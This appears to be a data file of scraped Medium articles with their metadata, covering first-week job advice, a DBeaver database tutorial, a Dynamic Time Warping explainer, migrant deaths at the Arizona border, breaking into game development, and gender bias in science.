During your onboarding period, you’re going to be hit with a barrage of brand new information. You’re going to hear a lot of words you’ve never heard before, see a lot of tools you’ve never used before, and overall just be completely and hopelessly overwhelmed. Orientation is always a sensory overload and the worst thing that you can do is just smile and pretend that you got all of it when in fact you got maybe half of it. Because let’s face it, there’s no way you were paying attention that whole time.
So, what you need to do is find ways to ask for help that make you seem curious rather than lost. When you don’t know how to do something, ask another employee how to do it. It’s that simple. Again, make sure that you phrase the question in a way that makes it seem like you want to be better at your job or maybe like you’re just double-checking. Don’t run up to your boss in a panic and confess that you have no idea what you’re doing. That’s a bad look.
Vulnerability — on the other hand — is not a bad look. Overconfidence is far more dangerous, in my opinion. If you come up with strategic ways to ask for help, you’ll be much better off in the long run. You’ll make fewer mistakes and it gives you the chance to talk with your boss. Plus, it gives them the opportunity to feel all smart and superior which I’m sure they would enjoy.
Do not be afraid to ask for help. And when you do, be cool about it.
Look good, feel good, play good
I’m not saying that you should look good or dress up to make a positive impression on other people, although that is certainly a factor. You should look good for you. When a person has pride in their appearance, they’re far more likely to perform at a high level. That’s just science. It’s all about attitude. When you enter a room worried or discontent with the way that you look, people can tell. Conversely, when you swagger into a room, oozing confidence out of your eyeballs, people respond positively.
This seems like a no-brainer but I figured I’d stick it in the blog anyway. Be confident in your appearance, especially during the first week. It definitely can’t hurt.
Good things come to those who wait
Make an effort to be present and social during your first week. But don’t be overbearing or overly talkative. You should bide your time, be reserved, have a filter, and let people warm up to you. Don’t make too many jokes, don’t talk about your dad went to school with the manager, don’t start any office gossip. Just be patient, polite, and un-controversial. Trust me, it’s the best way to introduce yourself to a new group of people. Don’t do too much. Don’t bring up politics. Pull your punches and just be likable for a week.
Hopefully, this blog post helped and you’re now ready to crush your first week at that awesome new job! And if this didn’t do it for you and you’re still in need of advice, go over to our website. We have tons of articles and columns that are sure to provide you with the wisdom that you need to get started.
Thanks for reading, and good luck! | https://medium.com/https-www-jobget-com-blog/how-to-crush-your-first-week-at-new-job-efca3e67f921 | ['Caleb D Parker'] | 2019-10-09 17:25:06.949000+00:00 | ['Jobs', 'Tips', 'Advice', 'Employment', 'Boston'] |
Getting Started with DBeaver on a Distributed SQL Database | If you’re a database developer, you know that you need different SQL statements for creating schemas, ad-hoc querying, initiating backups, or troubleshooting. For these scenarios, finding the right graphical tool, can speed up these tasks and make you more productive. Over the years, the PostgreSQL community has developed several open-sourced graphical tools for managing PostgreSQL databases, visualizing the datasets it contains, and to run queries. You can find a comprehensive list of tools on the PostgreSQL wiki here.
This post is the first in a series of on-going blogs that will show you how to work with Yugabyte DB using popular PostgreSQL GUI tools.
What’s YugaByte DB? It’s a high performance distributed SQL database for global, internet-scale apps. YugaByte DB is a PostgreSQL-compatible database. Similar to Google Spanner, YugaByte DB gives you all the scalability characteristics of NoSQL, without sacrificing the ACID transactions or strong consistency you are accustomed to with PostgreSQL.
What is DBeaver?
DBeaver is a free multi-platform database management tool for developers, SQL programmers, DBA’s and analysts. It is written in Java, and supports a variety of databases including MySQL, PostgreSQL, MariaDB, and even YugaByte DB! In addition to the databases mentioned, there are plugins and extensions for many other data products that support the JDBC driver.
In a nutshell, DBeaver gives you all the must-have features you’d expect from any database GUI tool including:
A connection and metadata browser
SQL query editor and executor
A rich in-line data editor
Entity relationship (ER) diagrams.
DBeaver is intuitive and there are a lot of helpful tips that can aid you in configuring and exploring your database seamlessly.
Prerequisites
Before we get into DBeaver, you’ll need to setup YugaByte DB and install a sample database. For the purposes of this blog post we’ll be using the northwind sample database. The instructions for how to get up and running in just a few minutes can be found in our previous blog post, “The Northwind PostgreSQL Sample Database Running on a Distributed SQL Database.”
Please note that for the purposes of this blog post we’ll be focused on getting up and running on a Mac, but DBeaver supports all the major operating platforms.
Installing DBeaver
Download and Install DBeaver
First thing to do is download the latest version of DBeaver. DBeaver comes in two editions — Community and Enterprise. In this blog, we are installing DBeaver community edition version 6.1.3 using the Mac OS X pkg installer + JRE.
Working with DBeaver
Launching DBeaver
Once you are installed, let’s launch DBeaver and configure a connection to YugaBye DB. If it is a fresh install, DBeaver will walk you through a wizard to get your connection set up like shown below.
For the purposes of this how-to, I’ve selected the northwind sample database. You will need to change the port assignment from the default 5432 to 5433. Just like a regular PostgreSQL server, password authentication for the postgres user is disabled, and hence no password should be specified.
It’s always a good idea to test the connection before proceeding.
Database Navigator
After the connection is setup you should be able to explore YugaByte DB (aka “PostgreSQL — northwind”) using the database navigator as shown below:
Working with the Northwind Sample Database
That’s it! You are ready to start exploring the northwind database running on a distributed SQL backend using DBeaver.
View Database Objects
By expanding out northwind > schemas > public > tables you can quickly visualize all the tables in the northwind database.
Querying Data
You can quickly view and edit the data in a table by right-clicking on the table and selecting view data.
If you want to try your hand at writing your own SQL queries, you can do that by clicking on the SQL Editor button. You can now create, run and view the results of your query in this window.
There’s a ton more development and administrative capabilities inside of DBeaver. Make sure to check out the DBeaver.io site to dig into how all their various features work.
What’s Next? | https://medium.com/yugabyte/getting-started-with-dbeaver-on-a-distributed-sql-database-ad185591a99b | ['Jimmy Guerrero'] | 2019-07-27 11:14:24.753000+00:00 | ['Postgres', 'Oracle', 'Oracle Database', 'Database', 'Postgresql'] |
Dynamic Time Warping (DTW) | Time Series Data
A Time Series is a series of data points indexed in time order. Commonly, a time series is a sequence taken at successive equally spaced points in time.
Figure: Example Time Series A & B
What is DTW?
Dynamic Time Warping (DTW) is one of the algorithms for measuring the similarity between two temporal time series sequences, which may vary in speed.
The objective of time series comparison methods is to produce a distance metric between two input time series. The similarity or dissimilarity of two-time series is typically calculated by converting the data into vectors and calculating the Euclidean distance between those points in vector space.
In general, DTW is a method that calculates an optimal match between two given sequences with certain restrictions. Simply, it is used to measure the distance between two-time series.
Why Use DTW?
Compare Time Series using Euclidean/Manhattan Distance
Any distance (Euclidean, Manhattan, …) between the two-time series can be used for the comparison. Here the i-th point on one time series is aligned with the i-th point on the other. This will produce a poor similarity score.
Compare Time Series using DTW
DTW gives a non-linear (elastic) alignment between two-time series. Simply, it looks for the best alignment between the two-time series. This produces a more intuitive similarity measure, allowing similar shapes to match even if they are out of phase in the time axis.
Representation of DTW
Let’s take the two-time series above, time series A, which is in blue and B, which is in green.
The basis of DTW is found on the computations of distance /confusion matrix between two-time series. It can be shown in the below figure (a).
In figure (a), values of time series A has been plotted in the x axis and values of time series B has been plotted in the y axis.
The best alignment is shown by the green lines in (b). The red lines in (b) stand for the red points in the confusion matrix.
(a) Distance / Confusion matrix (b) DTW
Warping Function
Calculation of Warping function
To find the best alignment between A and B, we need to find the path through the grid.
P = p1,…,ps,…,pk
ps = (is,js)
which minimizes the total distance between them.
Here P is called a Warping Function.
Time-Normalized Distance Measure
Time-normalized distance between A and B is given by:
where;
d(ps): distance between is and js
ws > 0:weighting coefficient Best alignment path between A and B: Po=arg(p)min(D(A,B)).
Boundary Conditions
This defines the alignment path starts at the bottom left and ends at the top right.
i1= 1, ik =n and j1 = 1, jk = m
Boundary Conditions of a DTW (Source:link)
Boundary guarantees that the alignment does not consider partially one of the sequences.
Warping Window
A good alignment path is one that wanders too far from the diagonal.
|is–js|≤ r, where r > 0 is the window length.
Warping Window of a DTW (Source:link)
Warping window guarantees that the alignment does not try to skip different features and gets stuck at similar features.
How DTW Algorithm Work
Following steps elaborate on the function of DTW Algorithm.
Illustration on How DTW Works
Start with the calculation of g(1,1) = d(1,1). Calculate the first row g(i, 1) =g(i–1, 1) + d(i, 1). Calculate the first column g(1, j) =g(1, j) + d(1, j). Move to the second row g(i, 2) = min(g(i, 1), g(i–1, 1), g(i –1, 2)) + d(i, 2). Book keep for each cell the index of this neighboring cell, which contributes the minimum score (red arrows). Carry on from left to right and from bottom to top with the rest of the grid g(i,j) = min(g(i, j–1), g(i–1, j–1), g(i –1, j)) + d(i, j). Trace back the best path through the grid starting from g(n, m)and moving towards g(1,1) by following the red arrows.
Complexity
The complexity of computing DTW is O(m * n) where m and n represent the length of each sequence.
Faster techniques for computing DTW include PrunedDTW, SparseDTW and FastDTW.
Applications of DTW
To detect similarities in walking. If one person was walking faster than the other, or if there were accelerations and decelerations during the course of an observation. Spoken word recognition applications. Used to match a sample voice command with others command even if the person talks faster or slower than the prerecorded sample voice. Correlation power analysis
References
[1] http://web.science.mq.edu.au/~cassidy/comp449/html/ch11s02.html
[2] https://databricks.com/blog/2019/04/30/understanding-dynamic-time-warping.html
[3] http://www.mathcs.emory.edu/~lxiong/cs730_s13/share/slides/searching_sigkdd2012_DTW.pdf
[4] https://riptutorial.com/algorithm/example/24981/introduction-to-dynamic-time-warping
[5] http://www.speech.zone/exercises/dtw-in-python/the-final-dtw-code/ | https://medium.datadriveninvestor.com/dynamic-time-warping-dtw-d51d1a1e4afc | ['Chathurangi Shyalika'] | 2019-05-24 11:31:37.373000+00:00 | ['Machine Learning', 'Time Series Analysis', 'Dynamic Programming', 'Confusion Matrix', 'Data Science'] |
Thousands Have Vanished in the Arizona Borderlands | Kindness is criminalized in Arizona. No More Deaths, a humanitarian non-profit that advocates for migrants out of Ajo, Arizona, regularly has their humanitarian camps raided. Officials charged eight of their volunteers with a variety of offenses a week after No More Deaths published a report accusing Border Patrol agents of dumping water jugs left by volunteers on migrant paths. One of the activists’ charges was “abandoning property,” apparently referring to the water, food, and blankets they left on migrant trails. Another volunteer, Scott Warren, was “[detained] in the town of Ajo on suspicion of supplying food, water and clean clothes to two undocumented migrants.” The charges against Scott were dropped two years later.
“Today the government took the position that people of conscience should not be prosecuted for acts of humanitarian aid. In other words, humanitarian aid, by definition, is not a crime,” said Greg Kuykendall on the courthouse steps when announcing the dropped charges against Scott Warren, as reported by No More Deaths.
Often, individual migrants die of exposure not realizing their journey will require weeks of walking instead of days. Coyotes, professional border crossing guides, often underplay the risks. If a person sprains an ankle and is unable to walk, the group must leave them behind. If someone is separated from the group, common when running from Border Patrol, they have no way of finding their guide and face almost certain death.
Not only do migrants die from exposure or dehydration in the incredibly rough terrain, but No More Deaths alleges that Border Patrol regularly chases crossing migrants into remote terrain, where they often perish after becoming lost.
According to local humanitarian groups, if a migrant has been missing for more than a month without contact, their families should start looking through the forensics system. The Colibrí Center for Human Rights in Tucson, Arizona works to help families whose loved ones have disappeared while crossing the border. Often this involves identifying their remains by searching available forensic systems. The group also tracks migrants who vanished while crossing the border. They have over 3,500 missing persons cases.
As stated by Doctors Without Borders, Central American migrants predominantly make the journey to the United States and Mexico to flee violence in their home countries — which Doctors Without Borders says is comparable to a warzone in Guatemala, Honduras, and El Salvador. But the long journey north is also rife with violence and exploitation. 57 percent of the people interviewed by the organization experienced violence while traveling through Mexico, whether assault, extortion, sexual assault, or torture. Mexican gangs and human trafficking organizations often target Central Americans through kidnapping and extortion.
“It’s clear from years of medical data and testimonies that many of our patients are desperately fleeing violence back home… These people deserve protection and care, and, at the very least, a fair chance to seek asylum. Instead they face more violence along the migration route, barred from countries where they wouldn’t be at risk. Now they are trapped in dangerous places with no way to seek safety,” said Sergio Martin, the head of mission in Mexico for Doctors Without Borders, quoted in a recent report released by the organization.
According to the recent Doctors Without Borders report, 61 percent of migrants interviewed were exposed to violence in the two years leading up to their migration north. Half of those cited their exposure to violence as a key reason they chose to leave their home country. Migrating families with children were much more likely to be fleeing violence, with 75 percent of those fleeing with children cited violence as a key reason, which includes forced gang recruitment. If they’re caught and detained by US Border Patrol, however, the dangers don’t end there. Doctors Without Borders reports that many of their patients reported terrible conditions in American custody, often in freezing cells with bright lights kept on 24/7, and denied adequate access to health care, blankets, food, clothing, and human dignity.
The conditions at the migrant detention centers are a humanitarian travesty, even more so during a global pandemic. The humanitarian non-profit that advocates for the migrants, No More Deaths, addressed this in a press release this summer.
“Meanwhile, precautions against the spread of the pandemic in cramped detention centers are abysmal. There is no soap in sinks, no access to gloves, and detained women and men just receive two face masks each — only after signing waivers of liability for the masks. Under these conditions, it is no surprise that more people are becoming infected with COVID-19. As of this writing, ICE acknowledges 69 known “positive” cases of COVID-19 at the La Palma facility alone. Recently, at an La Palma detention center in Eloy, detainees blocked the doors to their “pod” with tables and chairs, demanding masks, gloves, hand soap and testing. In response, the officers from CoreCivic — the for-profit company that operates many detention centers — broke through and shot them with rubber bullets and sprayed them with tear gas.”
The terrors migrant children face while separated from their parents are well documented. In many cases, the children’s basic needs are unmet and entire families are left broken and traumatized. The institutionalization of children, especially without the protective buffer of a parent, has horrible and lasting consequences on a child’s mental health and development. And the scale of this crisis is unfathomable. Since July 2017, more than 1,500 migrant children were separated from their parents after being detained separately. The American Civil Liberties Union claims that the true number of separated migrant children could be as high as 5,400 since the policy began. Recently, the ACLU announced that the parents cannot be located for 545 detained migrant children. | https://medium.com/an-injustice/thousands-have-vanished-in-the-arizona-borderlands-687683b795a5 | ['Raisa Nastukova'] | 2020-12-01 20:18:12.560000+00:00 | ['Immigration', 'Culture', 'World', 'Migration', 'News'] |
Hot Tip — You Need to Know Someone to Get a Gig in Video Games Quickly | It’s all about the network.
Photo by Aleks Marinkovic on Unsplash
I went back to school to get into video games when I turned 31 while working as a web development project manager — I decided to be a video game artist. I was late to the party — the majority of my classmates were at least ten years younger than me. I created an excellent demo reel after completing my associate’s degree at a local art college (yes, you can see it here). I was ready to go out and get that game dev job!
After applying online, I wasn’t getting much traction, and I thought I had the best demo reel in the world. I did keep my day job and was active on forums for artists like Polycount. Being the sensible type, I kept my day job and continued to do art tests from all the well-known video game companies. Some of them made it into that “excellent” demo reel.
One night I was on the Polycount forum, and I realized that all these game artists were friends — being a n00b, I didn’t have any friends in the game industry.
But then I remembered a past conversation with one of my previous bosses. He knew I was into video games since I had a few discussions with him about what I was playing since his sons were getting to the age they were also getting into gaming. In one of our conversations, he mentioned that he had a friend since he had known since college, and they were still good friends, but this person was the owner of a video game company. His buddy would send him the latest games for Christmas, but since he wasn’t a gamer and his kids weren’t into video games at the time, he just stored them away until they were old enough.
I hadn’t spoken to my ex-boss in years, but I left his company on good terms, and he was a nice guy — so I called him up and asked him about his gamedev friend. After talking to him at length, I finally had the name and company his friend had founded, and he called him to give an introduction about me. I was invited to his game development studio, and I was given the tour, met the staff, got to talk directly to the art director, gave him my reel, and had a great time.
A couple of weeks later, I got a call from the art director — he had reviewed my reel and had a lot of work to do to get it to make it in the game industry. I started working on it, and unexpectedly, a couple of weeks later, the company president (who was the college buddy of my ex-boss) gave me a call. He acknowledged that I wasn’t going to a future new artist hire, but with my project management background, would I be open to being a Content Manager/Asset Wrangler for their latest video game title?
And that’s how I started my 14-year career in video games — I didn’t get into the industry due to my resume or past work experience — it was who I knew from my network that finally opened the door for me. It was unexpected, and after being in the industry, I saw how close this network is — and can give some tips for people wanting to break in. | https://medium.com/@cgmielke/hot-tip-you-need-to-know-someone-to-get-a-gig-in-video-games-quickly-ae6ea1328beb | ['Chris Mielke'] | 2020-12-27 14:58:48.911000+00:00 | ['Jobs', 'Videogames', 'Tech', 'Technology', 'Work'] |
Implicit bias threatens scientific objectivity | Being a scientist requires the development and maintenance of one pivotal skill: objectivity. Yet, implicit (and explicit) bias is a fellow traveller in the in the scientific world. Once necessary for survival, everyone still carries around a fair amount of unconscious stereotypes and biases. These biases become particularly obvious regarding racial bias favouring Caucasians, and gender bias discriminating women. Besides influencing job applications (which is of course not specific for science), racial and gender biases also affect funding opportunities and experimental data. So where does implicit bias still influences science, and how can we tackle these inequalities?
The academic gender gap
In the US, 36% of doctoral recipients, and only 11% of senior faculty members are women. Furthermore, female scientists earn 18% less compared to their male colleagues. Gender bias does not stop at employments, it also influences NIH funding. The average size of NIH grants for female scientists is 25% smaller than grants for men.
These numbers are shocking and a reason for this discrepancy is not immediately apparent. One factor associated with the clear job and funding advantage of males is a bias towards male authorship and peer reviewing. The share of male editors and peer reviewers is much higher, and the number of female authors, especially first and last authors, is significantly lower compared to males. A lower number of publications will influence employability and funding possibilities. In addition, a study in the field of geoscience suggests that gender differences start at letters of recommendation for postdoctoral fellowships, which are less likely to be ‘excellent’ for women in terms of length and positive toning. Hence, biases in authorship and recommendations already drive the inequality in jobs, salary and funding.
The biggest questions is, why we did not manage to abolish this inequality yet. We live in a generation that has only recently (development of past 50 years) started to strictly condemn gender discrimination. Traditional family values are becoming obsolete and are changing drastically. However, after centuries of male regiments, we have trouble to unlearn established patterns.
Is blinding the key?
Governments have to promote gender equality in economy and family politics, and universities and funding bodies have to force objectivity into their application procedures.
For example, blind recruitment can counteract gender and race bias in applications at least in the first application rounds. Removing information about gender and race from job, conference, and grant applications could induce objectivity. Moreover, names and affiliations should be removed from submitted articles in order to counteract implicit bias of editors and peer reviewers. Anonymous applications, however, should be used with caution. A study of the Australian government suggests that blind recruitment can indeed reduce the likelihood to shortlist women and ethnic minorities. The effect of blind recruitment is influenced by country, culture and type of employment / application.
Sex bias in biomedical research
The gender gap in funding, job applications, and publications is severe, and indirectly influences the outcome of research. However, implicit and explicit bias also directly shapes results and scientific conclusions. Sex and racial bias in animal studies and clinical trials is omnipresent, which leads to dangerous generalisation of results, especially when studying drug efficacies. Most animal studies and drug trials are predominantly performed using male subjects / animals. However, since sex differences in biology exist, study results with males may not be translatable to females.
In biomedical research, the number of animals is kept as low as possible to for ethical reasons and to save money. One way of keeping numbers low is to use only one sex, which reduces variability within, and between experiments. Due to the biological nature of hormonal cycles (which creates variability), female animals are used less frequently. This disproportional use of one sex of animals is particularly acute in neuroscience with a ratio of 5.5 males to 1 female mouse in 2009.
In addition to a strong male tendency in animal research, the share of male subjects in human studies exceeds the amount of female participants as well. In past centuries, clinical studies sometimes used male subjects exclusively, especially in cardiovascular research.
This sex bias has serious consequences because significant differences between males and females exist regarding pathophysiology, and drug safety and efficacy. For example, sex hormones strongly influence neurobiology, and several diseases such as multiple sclerosis and Alzheimer’s disease are disproportionally affecting one sex: females (other diseases can affect males predominantly). Regarding therapies, this bias influences medical treatment severely, since women can exhibit different reactions to drugs. The efficacy and safety of treatments is dependent on sex, which could lead to a failure of candidate drugs in women, although they worked in early clinical studies using predominantly males. Candidate drugs could also cause severe side effects in women that have not been observed in men. These failures can be detected early, if pre-clinical and clinical studies include a group of subjects / animals that represents the population properly.
But how can we counteract these biases in biomedical research? First of all, we need to be aware, and awareness can be created by pointing out the importance of reducing biases. Studies have to investigate sex differences, which will reveal the implication of biases in research. Therefore, the NIH has taken measures to reduce sex bias in biomedical research. They provide money specifically for research focusing on sex differences in disease, and require applicants to report on how they will exclude sex bias in their research. During ethical approval of animal experiments in the Netherlands, the use of only one sex during animal experiments has to be justified. However, including males and females in studies is still not required.
Spread the word
Implicit bias still represents a major hurdle in the scientific world, both regarding gender bias in terms of careers, and sex bias in biomedical research itself. Many of the problems have been identified and acknowledged, which will help to take measures to reduce biases. However, awareness has to be created inside and outside research, so that we as individuals can start to counteract their own stereotypes. Because in the end science depends on one important factor: objectivity. | https://medium.com/neurofy/implicit-bias-threatens-scientific-objectivity-b41a27d6aa9b | ['Malte Borggrewe'] | 2020-12-12 14:16:15.590000+00:00 | ['Academia', 'Research', 'Science', 'Gender Equality', 'Implicit Bias'] |
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